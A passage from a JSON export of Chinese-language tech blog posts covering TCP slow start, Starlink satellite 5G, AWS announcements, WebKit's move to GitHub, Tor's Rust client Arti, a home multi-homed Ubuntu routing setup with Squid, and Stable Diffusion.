overhead，就差不多是 14KB 了：\r\n\r\n<blockquote>The maximum size of a TCP packet is 1500 bytes.\r\n\r\nThis this maximum is not set by the TCP specification, it comes from the ethernet standard\r\n\r\nEach TCP packet uses 40 bytes in its header — 16 bytes for IP and an additional 24 bytes for TCP\r\n\r\nThat leaves 1460 bytes per TCP packet. 10 x 1460 = 14600 bytes or roughly 14kB!</blockquote>\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/HTTP/3\">HTTP/3</a> 也可以看到類似的設計 (出自「<a href=\"https://datatracker.ietf.org/doc/id/draft-ietf-quic-recovery-26.html\">QUIC Loss Detection and Congestion Control</a>」：\r\n\r\n<blockquote>Sending multiple packets into the network without any delay between them creates a packet burst that might cause short-term congestion and losses. Implementations MUST either use pacing or limit such bursts to the initial congestion window, which is recommended to be the minimum of 10 * max_datagram_size and max(2* max_datagram_size, 14720)), where max_datagram_size is the current maximum size of a datagram for the connection, not including UDP or IP overhead.</blockquote>\r\n\r\n算是一個小知識... 但對於現在肥滋滋的網頁效果來說就沒辦法了，而且考慮到大一點的網站會在一個 TCP 連線裡面可能會傳很多 request，其實早就超過 TCP slow start 的門檻了。",
    "title": "網頁大小 14KB 與 15KB 的速度差異"
  },
  {
    "id": "10862",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.starlink.com/\">Starlink</a> 打算跟 <a href=\"https://www.t-mobile.com/\">T-Mobile</a> 合作，直接用衛星提供 5G 訊號讓地面手機使用：「<a href=\"https://news.ycombinator.com/item?id=32601873\">SpaceX, T-Mobile to connect satellites to cellphones in remote areas (wsj.com)</a>」，原報導在 <a href=\"https://www.wsj.com/\">WSJ</a> 的「<a href=\"https://www.wsj.com/articles/spacex-and-t-mobile-to-connect-starlink-satellites-to-cellphones-in-remote-parts-of-u-s-11661473520\">SpaceX, T-Mobile to Connect Satellites to Cellphones in Remote Areas</a>」這邊，另外因為 paywall 的關係，可以在<a href=\"https://archive.ph/Y4Jya\">這邊</a>讀。\r\n\r\n會用二代衛星：\r\n\r\n<blockquote>Mr. Musk said the service would use second-generation Starlink satellites that would be outfitted with large antennas that cover swaths of land that have no service. SpaceX has a pending application before the FCC to launch around 30,000 of the second-generation satellites over time.</blockquote>\r\n\r\n在另外一篇報導「<a href=\"https://www.cnbc.com/2022/08/25/spacex-and-t-mobile-team-up-to-use-starlink-satellites.html\">SpaceX and T-Mobile team up to use Starlink satellites to ‘end mobile dead zones’</a>」裡面有提到更細一點，不是衛星電話，是目前一般的手機：\r\n\r\n<blockquote>The service won’t require mobile users to get a new phone. Musk said in or after a natural disaster, even if all the cell towers are taken out, the planned service should work.</blockquote>\r\n\r\n不過可以預期只會有很基本的服務 (大概確保通話與簡訊會通)，針對緊急危難狀況會特別有幫助：\r\n\r\n<blockquote>Mr. Musk said that the bandwidth would be limited and that the new satellite service wouldn’t supplant existing ground-based cellular services. “This is meant to provide basic coverage to areas that are completely dead,” he said.</blockquote>\r\n\r\n翻了翻 wiki，目前 Starlink 第一代衛星的軌道高度是 340km 左右，好像還不確定二代衛星會在哪個高度...\r\n\r\nHacker News 上有蠻多人在算技術上的可行性，除了訊號強度外，衛星與地面相對速度比目前地面上的交通工具都快，都卜勒效應 (<a href=\"https://en.wikipedia.org/wiki/Doppler_effect\">Doppler effect</a>) 看起來也是個會影響很多的主題...\r\n\r\n不過討論裡面有提到 2021 年就已經有其他商用公司在幹類似的事情，所以看起來不只是講講而已？應該是有些可能性：「<a href=\"https://techcrunch.com/2021/09/29/lynk-demos-global-satellite-connection-for-ordinary-phones-and-prepares-for-commercial-launch/\">Lynk demos global satellite connection for ordinary phones and prepares for commercial launch</a>」。",
    "title": "Starlink 想要在太空直接提供 5G 網路訊號讓地面手機使用"
  },
  {
    "id": "10863",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32606140\">History of Zero-Based Months? (jefftk.com)</a>」這篇，在考古為什麼常常看到 function 在傳回「月份」時是以 <code>0</code> 表示一月。從這篇提到的「<a href=\"https://news.ycombinator.com/item?id=25195287\">Why is day of the month 1-indexed but the month is 0-indexed in C? (twitter.com/hillelogram)</a>」則是 2020 年的討論。\r\n\r\n在討論裡面有提到 <a href=\"https://twitter.com/hillelogram\">hillelogram</a> 的 tweet，裡面有個看起來算合理的考古過程...\r\n\r\n試著用 <a href=\"https://threadreaderapp.com/\">Thread Reader</a> 產生單頁 (讀起來會比較好讀)，但不知道為什麼一直失敗，結果往 <a href=\"https://web.archive.org/\">Internet Archive</a> 翻資料，倒是有 2020 年當初<a href=\"https://web.archive.org/web/20201119090119/https://threadreaderapp.com/thread/1329228419628998665.html\">生成出來的版本</a>。\r\n\r\n另外還是列出原來第一則 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Okay, I put WAY too much time into researching this, and I almost know what&#39;s happening. ALMOST.<br><br>First of all, JavaScript does this for legacy reasons. In C&#39;s &lt;time.h&gt; we have `struct tm`, which does the same thing. <br><br>But why? <br><br>We see the rabbit hole, time to jump in. <a href=\"https://t.co/fZO3HXfZTN\">https://t.co/fZO3HXfZTN</a></p>&mdash; Hillel (@hillelogram) <a href=\"https://twitter.com/hillelogram/status/1329228419628998665?ref_src=twsrc%5Etfw\">November 19, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n作者在研究這個題目的時候，馬上可以想到的是 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 語言裡面的月份就是 0-indexed，而其他程式語言都很有可能會是因為 C 語言的關係一路把這個特性繼承下去：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/i5K3I0H.webp\" /><img src=\"https://i.gslin.com/imgur/i5K3I0H.png\" alt=\"\" /></picture>\r\n\r\n直接跳到最後面作者的猜測，他覺得可能是為了讓後續使用起來更方便的關係。\r\n\r\n其他的欄位大多都是透過類似 <code>sprintf(\"%d\")</code> 的方式直接輸出數字，所以用 1-indexed 讓人直接讀，而月份則會透過 array 來轉字串，所以用 0-indexes 讓程式轉：\r\n\r\n<blockquote>So that's my best guess: the programmers were working with constrained resources and could optimize `asctime` tricky pointer arithmetic on the month and day-of-week, so made them 0-indexed. Day-of-month is just for displaying to the user, so is 1-indexed.</blockquote>\r\n\r\n沒辦法確定，但就是一種猜測，看起來還蠻... 合理... 的？",
    "title": "月份傳回值 0 表示一月的考古"
  },
  {
    "id": "10864",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=32573523\">Ask HN: DALL-E was trained on watermarked stock images?</a>」這邊看到有人用 <a href=\"https://en.wikipedia.org/wiki/DALL-E\">DALL-E</a> 產生圖片 (不確定是不是 DALL-E 2)，結果發現圖片上面有 <a href=\"https://www.gettyimages.com/\">Getty Images</a> 的 logo：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NcR6dBq.webp\" /><img src=\"https://i.gslin.com/imgur/NcR6dBq.jpg\" alt=\"\" /></picture>\r\n\r\n討論裡面當然是一堆法律上的「見解」，但不過還沒有判例，大家都在等法院會怎麼判...\r\n\r\n話說他用的句子是「king of belgium giving a speech to an audience, but the audience members are cucumbers」，他是玩得很開心嗎 XDDD",
    "title": "DALL-E 產生出 Getty Images 的 logo"
  },
  {
    "id": "10867",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在阿聯開新的區域了：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-region-in-the-united-arab-emirates-uae/\">Now Open–AWS Region in the United Arab Emirates (UAE)</a>」。\r\n\r\n也是首發就 3 AZ：\r\n\r\n<blockquote>The Middle East (UAE) Region has three Availability Zones that you can use to reliably spread your applications across multiple data centers.</blockquote>\r\n\r\n中東的第一個區域是巴林，首都麥納瑪離阿聯的首都杜拜直線距離大約 500km，算起來蠻近的... 對於主要客群是中東的用戶，看起來可以設計 Active-Active 的機制做到跨區備援？\r\n\r\n不過更重要的還是繼續等台灣的 local zone...",
    "title": "AWS 在阿聯開區域了 (me-central-1)"
  },
  {
    "id": "10868",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈在越南設立 edge：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/08/aws-new-edge-locations-vietnam/\">AWS announces new edge locations in Vietnam</a>」。\r\n\r\n新的 edge 包括了各種服務，像是標題寫到的 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>：\r\n\r\n<blockquote>The new locations offer edge networking services including Amazon CloudFront and AWS Global Accelerator that are integrated with security service AWS Shield that includes Distributed Denial of Service (DDoS), Web Application Firewall (WAF), and bot protection.</blockquote>\r\n\r\n看起來是拓點，第一次進到越南，先前應該是會被導去泰國或是香港？\r\n\r\n不過在 CloudFront 的「<a href=\"https://aws.amazon.com/cloudfront/features/\">Global Edge Network</a>」頁面上面意外的還沒看到越南的點 (參考 <a href=\"https://web.archive.org/\">Internet Archive</a> 的<a href=\"https://web.archive.org/web/20220831212914/https://aws.amazon.com/cloudfront/features/\">這邊</a>以及 <a href=\"https://archive.today/\">archive.today</a> 的<a href=\"https://archive.ph/wCqXa\">這邊</a>)。",
    "title": "CloudFront 在越南開點"
  },
  {
    "id": "10869",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://webkit.org/\">WebKit</a> 專案宣佈從本來的 <a href=\"https://subversion.apache.org/\">Subversion</a> 搬到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://webkit.org/blog/13140/webkit-on-github/\">WebKit on GitHub!</a>」，新的專案位置在 <a href=\"https://github.com/WebKit/WebKit\">WebKit/WebKit</a> 這邊。對應的討論在「<a href=\"https://news.ycombinator.com/item?id=32667619\">WebKit Migrates from Subversion to GitHub (webkit.org)</a>」這邊。\r\n\r\n但 issue tracking system 的部份目前看起來還是繼續用 <a href=\"https://bugs.webkit.org/\">WebKit Bugzilla</a>，沒有開 GitHub 的 issue 功能，但至少是從 Subversion 換成 <a href=\"https://git-scm.com/\">Git</a> 了。\r\n\r\n在 Hacker News 上的討論意外看到已經是歷史的 <a href=\"https://zh.wikipedia.org/wiki/SVK\">SVK</a> (試著在 Subversion 上面堆一些功能)，而且還聊到了一些 tricky 的技巧：\r\n\r\n<blockquote>Funny story: my first task when I joined the original iPhone team was to merge our forked WebKit with master. It was a sort of hazing ritual slash \"when else would we do it but when someone new joins?\". Anyways, we used a tool called SVK[1] in order to get very primitive \"git-like\" abilities. It was basically a bunch of scripts that used SVN under the hood. For example, in order to get the \"local everything\"-style behaviors of git, the very first thing it did was checkout every single version of the repository in question. For WebKit, this meant that the first day was spent leaving the computer alone and letting it download for hours. I made the mistake of having a space somewhere in the path of the target folder, which broke something or other, so I ended up having to do it all over again.\r\n\r\nAnyways, I distinctly remember one of the instructions for merging WebKit in our internal wiki being something like \"now type `svk merge`, but hit ctrl-c immediately after! You don't want to use the built-in merge, it'll break everything, but this is the only way to get a magic number that you can find stored in [some file] after the merge has started. If it's not there, try `svk merge` again and let it go a little longer than last time.\" A few hires later (I think possibly a year after) someone set up a git mirror internally to avoid having to do this craziness, which if I remember correctly, was treated with some skepticism. This was 2007, so why would we try some new-fangled git thing when we had svk?\r\n\r\n1. https://wiki.c2.com/?SvkVersionControl</blockquote>\r\n\r\n我記得那個時間點 VCS 的選擇的確是個有趣的決策過程... 除了 Git 以外還有 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a>，另外還有幾個當時就已經算小眾的 open source solution。\r\n\r\n而到了 2010 後就比較明朗了，現在幾乎是 Git 一統天下了，Mercurial 目前最大的使用者應該是 <a href=\"https://en.wikipedia.org/wiki/Meta_Platforms\">Meta</a> (<a href=\"https://www.facebook.com/\">Facebook</a>)？",
    "title": "WebKit 專案將從 Subversion 搬到 GitHub 上"
  },
  {
    "id": "10870",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/route53/\">Route 53</a> 提供 100% 的 SLA，而 <a href=\"https://aws.amazon.com/route53/resolver/\">Route 53 Resolver</a> 則提供 99.99% 的 SLA：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/08/announces-amazon-route-resolver-endpoints-service-level-agreement-updates-hosted-zones/\">Amazon Route 53 Resolver Endpoints announces 99.99% Service Level Agreement and updates its Service Level Agreement for Route 53 hosted zones</a>」。\r\n\r\nRoute 53 的部份指的是 hosted zone，參考「<a href=\"https://aws.amazon.com/route53/sla/\">Amazon Route 53 Service Level Agreement</a>」這邊，可以看到是 2022/08/29 更新的條款。\r\n\r\nRoute 53 Resolver 的部份可以參考「<a href=\"https://aws.amazon.com/route53/resolver/sla/\">Amazon Route 53 Resolver Endpoints Service Level Agreement</a>」這邊，也是 2022/08/29 更新的條款。\r\n\r\n要注意 99.99% 是指 Multi-AZ Resolver Endpoints SLA；如果是 Single-AZ Resolver Endpoints SLA 看起來是設定在 99.5%。\r\n\r\n不確定是不是 AWS 的第一個 100% SLA 條款...",
    "title": "Route 53 提供 100% SLA，而 Route 53 Resolver 提供 99.99% SLA"
  },
  {
    "id": "10872",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=32669215\">US Government Bans Export of Nvidia A100 and H100 GPUs to China and Russia (sec.gov)</a>」這篇，是 <a href=\"https://www.nvidia.com/\">NVIDIA</a> 發出了 <a href=\"https://en.wikipedia.org/wiki/Form_8-K\">Form 8-K</a>，說明美國政府禁止 A100 與 H100 或是更高階 (更快) 的卡以及產品輸出到中國 (包括香港) 與俄羅斯：「<a href=\"https://www.sec.gov/ix?doc=/Archives/edgar/data/1045810/000104581022000146/nvda-20220826.htm\">nvda-20220826.htm</a>」。\r\n\r\n先是指出 A100、H100 以及 A100X (<a href=\"https://en.wikipedia.org/wiki/Ampere_(microarchitecture)\">Ampere</a>) 被管制：\r\n\r\n<blockquote>On August 26, 2022, the U.S. government, or USG, informed NVIDIA Corporation, or the Company, that the USG has imposed a new license requirement, effective immediately, for any future export to China (including Hong Kong) and Russia of the Company’s A100 and forthcoming H100 integrated circuits. DGX or any other systems which incorporate A100 or H100 integrated circuits and the A100X are also covered by the new license requirement.</blockquote>\r\n\r\n另外是禁止新產品的部份，效能與 A100 相等或是更好的卡也被禁止輸出，除非有取得授權：\r\n\r\n<blockquote>The license requirement also includes any future NVIDIA integrated circuit achieving both peak performance and chip-to-chip I/O performance equal to or greater than thresholds that are roughly equivalent to the A100, as well as any system that includes those circuits.</blockquote>\r\n\r\n然後有提到軍事相關考量：\r\n\r\n<blockquote>A license is required to export technology to support or develop covered products. The USG indicated that the new license requirement will address the risk that the covered products may be used in, or diverted to, a ‘military end use’ or ‘military end user’ in China and Russia. The Company does not sell products to customers in Russia.</blockquote>\r\n\r\n有看到一些報導指出 <a href=\"https://www.amd.com/\">AMD</a> 也有收到類似的禁令 (畢竟也是個顯卡大廠)，但在「<a href=\"https://ir.amd.com/sec-filings\">SEC Filings</a>」這邊沒看到...",
    "title": "美國政府禁止 NVIDIA 將高階顯卡輸出到中國與俄羅斯"
  },
  {
    "id": "10873",
    "body": "<a href=\"https://kagi.com/\">Kagi</a> 公佈了收費三個月後的進展 (可以參考「<a href=\"https://blog.gslin.org/archives/2022/06/03/10729/kagi-%E9%96%8B%E5%A7%8B%E6%94%B6%E8%B2%BB%E4%BA%86/\">Kagi 開始收費了</a>」這篇)：「<a href=\"https://blog.kagi.com/status-update-first-three-months\">Kagi status update: First three months</a>」。\r\n\r\n搜尋的部份 (Kagi 這個產品線)，目前有 2600 個付費使用者，以 US$10/mo 的費用來算大概是 US$26K/mo 的收入：\r\n\r\n<blockquote>Kagi search is currently serving ~2,600 paid customers. We have seen steady growth since the launch 3 months ago. Note, this is with zero marketing and fully relying on word of mouth. We prefer to keep things this way for now, as we are still developing the product towards our vision of a user-centric web search experience.</blockquote>\r\n\r\n後面在講財務狀況也是類似的數字 (幾乎都是 Kagi 的付費收入)：\r\n\r\n<blockquote>Between Kagi and Orion, we are currently generating around $26,500 USD in monthly recurring revenue, which incidentally about exactly covers our current API and infrastructure costs.</blockquote>\r\n\r\n這個收入差不多 cover 目前的 infrastructure 部份，但還有薪資與其他的 operating cost 大約在 US$100K/mo 這個數量級，看起來還有很大的距離：\r\n\r\n<blockquote>Between Kagi and Orion, we are currently generating around $26,500 USD in monthly recurring revenue, which incidentally about exactly covers our current API and infrastructure costs.</blockquote>\r\n\r\n<blockquote>That means that salaries and all other operating costs (order of magnitude of $100K USD/month) remain a challenge and are still paid out of the founders’ pocket (Kagi remains completely bootstrapped).</blockquote>\r\n\r\n然後要大概是目前十倍的付費數量才會打平 (25K 個使用者)：\r\n\r\n<blockquote>We are planning to reach sustainability at around 25,000 users mark, by further improving the product, introducing new offerings and pricing changes. With the product metrics being as good as they are, we should be able to reach this as our visibility increases.</blockquote>\r\n\r\n比較好一點的消息是 churn rate 很低：\r\n\r\n<blockquote>Product stickiness is also very high, with churn being lower than 3%.</blockquote>\r\n\r\n然後提到每個使用者大約 27 次查詢 (包括 free tier)，有些 user 大約在 100 次，peak 是 400 次：\r\n\r\n<blockquote>We are currently serving around 70,000 queries a day or around ~27 queries/day/user (this includes free users which are about 10% of total users). There is a lot of variance in use though, with some users regularly searching &gt;100 times a day. Every time we see a search count go &gt;400 times in day we are happy to be an important part of someone’s search experience.</blockquote>\r\n\r\n我看了一下自己的用量，看起來偏高一些，但沒到他說的每天平均 100 次：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xd4VSY3.webp\" /><img src=\"https://i.gslin.com/imgur/xd4VSY3.png\" alt=\"\" /></picture>\r\n\r\n然後提到了推出新方案的計畫，包括 Teams Plan &amp; Family Plan，而目前在跑的方案會被分類到 Individual Plans。\r\n\r\n另外比較重要的是 Individual Plans 有漲價的計畫。新的方案預定分成三個層級，主要是增加了一個 Kagi Starter 的版本：\r\n\r\n<ul>\r\n\t<li>Kagi Unlimited - $19/mo or $180/year ($15/mo) or $288/biennial ($12/mo) - Original Kagi experience, with unlimited searches</li>\r\n\t<li>Kagi Starter ($5/mo; 200 searches) - For casual users who make less than 200 searches per month</li>\r\n\t<li>Free basic - 50 free searches that reset every month</li>\r\n</ul>\r\n\r\n漲不少，雖然有提到在漲價前既有的付費使用者將會維持原價：\r\n\r\n<blockquote>If such change to Individual plans is to occur, we plan to grandfather-in all early adopters (meaning all current and future paid customers, up until this change) allowing them to keep their existing subscription price as long as they don’t cancel it.</blockquote>\r\n\r\n繼續觀察看看...",
    "title": "Kagi 公佈了收費三個月後的進展"
  },
  {
    "id": "10874",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 就直接在官方帳號上面說了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">if you see an edited Tweet it&#39;s because we&#39;re testing the edit button<br><br>this is happening and you&#39;ll be okay</p>&mdash; Twitter (@Twitter) <a href=\"https://twitter.com/Twitter/status/1565318587736285184?ref_src=twsrc%5Etfw\">September 1, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n是個公測的概念，也是個大家等很久的功能...",
    "title": "Twitter 在測試 Editing 功能"
  },
  {
    "id": "10876",
    "body": "在「<a href=\"https://blog.torproject.org/arti_100_released/\">Arti 1.0.0 is released: Our Rust Tor implementation is ready for production use.</a>」這邊看到 <a href=\"https://www.torproject.org/\">Tor</a> 的 <a href=\"https://www.rust-lang.org/\">Rust</a> 計畫進入了 1.0.0 版。\r\n\r\n不過每次編 Rust 的東西都會發現 Rust 版本不夠新，這次也不例外，就不知道是 Rust community 的特性還是真的太少用 Rust...\r\n\r\n<pre>    Updating crates.io index\r\n  Downloaded arti v1.0.0\r\nerror: failed to parse manifest at `/home/gslin/.cargo/registry/src/github.com-1ecc6299db9ec823/arti-1.0.0/Cargo.toml`\r\n\r\nCaused by:\r\n  feature `edition2021` is required\r\n\r\n  this Cargo does not support nightly features, but if you\r\n  switch to nightly channel you can add\r\n  `cargo-features = [\"edition2021\"]` to enable this feature\r\n</pre>\r\n\r\n用 <code>rustup update</code> 更新後就能編了，然後跑起來看起來沒什麼問題：\r\n\r\n<pre>$ arti proxy -p 9150\r\n2022-09-03T17:13:30.234032Z  INFO arti: Starting Arti 1.0.0 in SOCKS proxy mode on port 9150...\r\n2022-09-03T17:13:30.238606Z  INFO tor_circmgr: We now own the lock on our state files.\r\n2022-09-03T17:13:30.238652Z  INFO tor_dirmgr: Didn't get usable directory from cache.\r\n2022-09-03T17:13:30.238674Z  INFO arti::socks: Listening on 127.0.0.1:9150.\r\n2022-09-03T17:13:30.238686Z  INFO arti::socks: Listening on [::1]:9150.\r\n2022-09-03T17:13:30.238713Z  INFO tor_dirmgr::bootstrap: 1: Looking for a consensus.\r\n2022-09-03T17:13:33.833304Z  INFO tor_dirmgr::bootstrap: 1: Downloading certificates for consensus (we are missing 9/9).\r\n2022-09-03T17:13:34.335754Z  INFO tor_dirmgr::bootstrap: 1: Downloading microdescriptors (we are missing 6629).\r\n2022-09-03T17:13:41.041683Z  INFO tor_dirmgr::state: The current consensus is fresh until 2022-09-03 17:00:00.0 +00:00:00, and valid until 2022-09-03 19:00:00.0 +00:00:00. I've picked 2022-09-03 18:35:38.290798754 +00:00:00 as the earliest time to replace it.\r\n2022-09-03T17:13:41.061978Z  INFO tor_dirmgr: Marked consensus usable.\r\n2022-09-03T17:13:41.065536Z  INFO tor_dirmgr: Directory is complete.\r\n2022-09-03T17:13:41.065557Z  INFO tor_dirmgr: We have enough information to build circuits.\r\n2022-09-03T17:13:41.065564Z  INFO arti: Sufficiently bootstrapped; system SOCKS now functional.</pre>\r\n\r\n用 <a href=\"https://curl.se/\">curl</a> 測試也的確是 Tor 的 exit node 了：\r\n\r\n<pre>$ curl -i --socks5 127.0.0.1:9150 https://httpbin.org/ip\r\nHTTP/2 200 \r\ndate: Sat, 03 Sep 2022 17:21:20 GMT\r\ncontent-type: application/json\r\ncontent-length: 32\r\nserver: gunicorn/19.9.0\r\naccess-control-allow-origin: *\r\naccess-control-allow-credentials: true\r\n\r\n{\r\n  \"origin\": \"85.93.218.204\"\r\n}\r\n\r\n$ host 85.93.218.204\r\n204.218.93.85.in-addr.arpa domain name pointer tor.localhost.lu.</pre>\r\n\r\n看起來 client 的功能能用了...",
    "title": "Tor 的 Rust 計畫 Arti 推進到 1.0.0 版"
  },
  {
    "id": "10877",
    "body": "家裡的 internet 架構大概是這樣 (省略過其他裝置)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yE4LR5t.webp\" /><img src=\"https://i.gslin.com/imgur/yE4LR5t.png\" alt=\"\" /></picture>\r\n\r\n一邊是 <a href=\"https://www.hinet.net/\">HiNet</a> 的線路直接接中華的數據機 (modem)，這段是用 <a href=\"https://en.wikipedia.org/wiki/PPPoE\">PPPoE</a> 撥接；另一邊是第四台網路 (<a href=\"https://www.taipeinet.com.tw/\">北都</a>)，另外上面寫的 Switch 應該是 IP 分享器 (一台 <a href=\"https://www.asus.com/\">ASUS</a> 的機子，刷 <a href=\"https://dd-wrt.com/\">DD-WRT</a>)，作圖的時候寫錯了...\r\n\r\n最後是電腦的部份，我的桌機是跑 <a href=\"https://www.ubuntu.com/\">Ubuntu</a>，用兩張個不同的實體線路 (界面分別是中華的 <code>enp4s0</code> 與第四台的 <code>enp6s0f0</code>) 接到了這兩個不同的網段上面。\r\n\r\n打算跑 <a href=\"https://en.wikipedia.org/wiki/Source_routing\">source routing</a> 的架構來善用兩邊的頻寬，想法上面大概是這樣拆解：\r\n\r\n<ol>\r\n\t<li>機器本身有個 <code>192.168.3.x</code> 的 static ip。</li>\r\n\t<li>針對 source ip 是 <code>192.168.3.x</code> 的封包，預設會往 <code>192.168.3.254</code> 這台分享器丟，然後 <a href=\"https://en.wikipedia.org/wiki/Network_address_translation\">NAT</a> 出去。</li>\r\n\t<li>用 <a href=\"https://en.wikipedia.org/wiki/Squid_(software)\">Squid</a> 在本機上跑一個 proxy server，指定 source ip 是 <code>192.168.3.x</code>。</li>\r\n</ol>\r\n\r\n有了這樣的架構，我就可以在瀏覽器上面就透過 SwitchyOmega 這類的套件，指定某些網段要走第四台的頻寬出去了。\r\n\r\n另外可以指定 http proxy 的服務也可以透過這個方法往第四台的線路連出去。\r\n\r\n其中第二點需要把 source ip 是 <code>192.168.3.x</code> 的封包丟到 <code>192.168.3.254</code> 這段需要一些設定，首先是需要設定一個獨立的 routing table，我是在 <code>/etc/iproute2/rt_tables</code> 裡面放：\r\n\r\n<pre>2       second</pre>\r\n\r\n然後因為我是透過 <a href=\"https://en.wikipedia.org/wiki/NetworkManager\">NetworkManager</a> 在管理網路界面的，我希望在 <code>enp6s0f0</code> 啟動時自動設定這個 source routing 邏輯，所以我在 <code>/etc/NetworkManager/dispatcher.d/99-enp6s0f0</code> 這邊寫了：\r\n\r\n<pre>#!/bin/bash\r\n\r\ninterface=$1\r\nevent=$2\r\n\r\nif [[ \"$interface\" == \"enp6s0f0\" &amp;&amp; \"$event\" == \"up\" ]]; then\r\n    ip route add default via 192.168.3.254 table second\r\n    ip rule add from 192.168.3.0/24 table second\r\nfi</pre>\r\n\r\n然後要記得把這個檔案 <code>chmod 755</code> 讓他可以執行。\r\n\r\n接著是 Squid 的設定，在 <code>/etc/squid/squid.conf</code> 裡面這樣寫：\r\n\r\n<pre>#\r\nhttp_access allow all\r\n#\r\naccess_log /var/log/squid/access.log squid\r\ncache deny all\r\ncache_dir null /tmp\r\ncache_log /dev/null\r\ncache_mem 8 MB\r\ndns_v4_first on\r\nforwarded_for off\r\nhttp_port 3128\r\ntcp_outgoing_address 192.168.3.x</pre>\r\n\r\n其中最後的 <code>192.168.3.x</code> 換成自己的固定 IP address。這邊因為 traffic 基本上都是 HTTPS 了，也不需要開 cache，就這樣設定...\r\n\r\n這邊比較特別的是 <code>dns_v4_first</code> 的設計，這個是讓 Squid 儘量用 IPv4 的位置連線。這是因為北都的網路沒有提供 IPv6 位置，所以如果網站的 DNS 如果有 IPv6 位置的話就會從 HiNet 這邊的 IPv6 出去了...\r\n\r\n另外 ping 與 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">MTR</a> 之類的工具不會動在這這樣的架構下是正常的，因為這些工具會自己組合 raw packet 丟，不是透過 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 的 network stack 處理，所以不會被我們指定的 <code>ip rule</code> 解析。網路上看起來是有方法可以 mitigate，但我就先放著了...\r\n\r\n這樣看起來還算堪用，先這樣用一陣子看看... 先前是在 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 上面跑個 proxy server 導流量，但會受限於 Raspberry Pi 的硬體限制，效能上面就普普通通，現在直接用桌機拼看看...",
    "title": "Ubuntu 下面搞 Multi-home 架構"
  },
  {
    "id": "10878",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Stable_Diffusion\">Stable Diffusion</a> 是 <a href=\"https://stability.ai/\">Stability AI</a> 訓練出來的 model，跟之前提到的 <a href=\"https://en.wikipedia.org/wiki/DALL-E\">DALL-E</a> 最大的差異就是產生出的圖的限制少很多：\r\n\r\n<blockquote>Unlike competing models like DALL-E, Stable Diffusion is open source and does not artificially limit the images it produces, though the license prohibits certain harmful use cases.</blockquote>\r\n\r\n這也造就了這兩個禮拜整個 Stable Diffusion 的各種應用急速成長。\r\n\r\n用 <a href=\"https://simonwillison.net/\">Simon Willison</a> 的「<a href=\"https://simonwillison.net/2022/Aug/29/stable-diffusion/\">Stable Diffusion is a really big deal</a>」這篇來當作總覽還不錯。\r\n\r\n除了授權使用上的限制以外，在技術上的限制也比較少 (有很大一部分會歸功於社群的各種 porting)，包括了：\r\n\r\n<ul>\r\n\t<li>在 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 上也可以跑的版本：「<a href=\"https://replicate.com/blog/run-stable-diffusion-on-m1-mac\">Run Stable Diffusion on your M1 Mac’s GPU</a>」，以及</li>\r\n\t<li>在顯示卡 VRAM 不足 10GB 的機器上也可以跑的版本：「<a href=\"https://constant.meiring.nz/playing/2022/08/04/playing-with-stable-diffusion.html\">Running Stable Diffusion on your GPU with less than 10Gb of VRAM on Windows</a>」(雖然這篇是講 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a>，但同樣的方法也可以跑在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上面)，以及</li>\r\n\t<li>沒有顯卡，純 CPU 的版本「<a href=\"https://github.com/bes-dev/stable_diffusion.openvino\">stable_diffusion.openvino</a>」可以跑 (雖然會慢很多)。</li>\r\n</ul>\r\n\r\n除了先前大家已經熟悉的 txt2img 功能以外，Stable Diffusion 另外提供了 img2img 的能力，也就是先給一張圖，然後再給對應的句子要求 Stable Diffusion 去改這張圖，所以就會有像是把這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ds8AxBU.webp\" /><img src=\"https://i.gslin.com/imgur/ds8AxBU.png\" alt=\"\" /></picture>\r\n\r\n加上「A distant futuristic city full of tall buildings inside a huge transparent glass dome, In the middle of a barren desert full of large dunes, Sun rays, Artstation, Dark sky full of stars with a shiny sun, Massive scale, Fog, Highly detailed, Cinematic, Colorful」的句子後，提供了這張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nZfDZcf.webp\" /><img src=\"https://i.gslin.com/imgur/nZfDZcf.jpg\" alt=\"\" 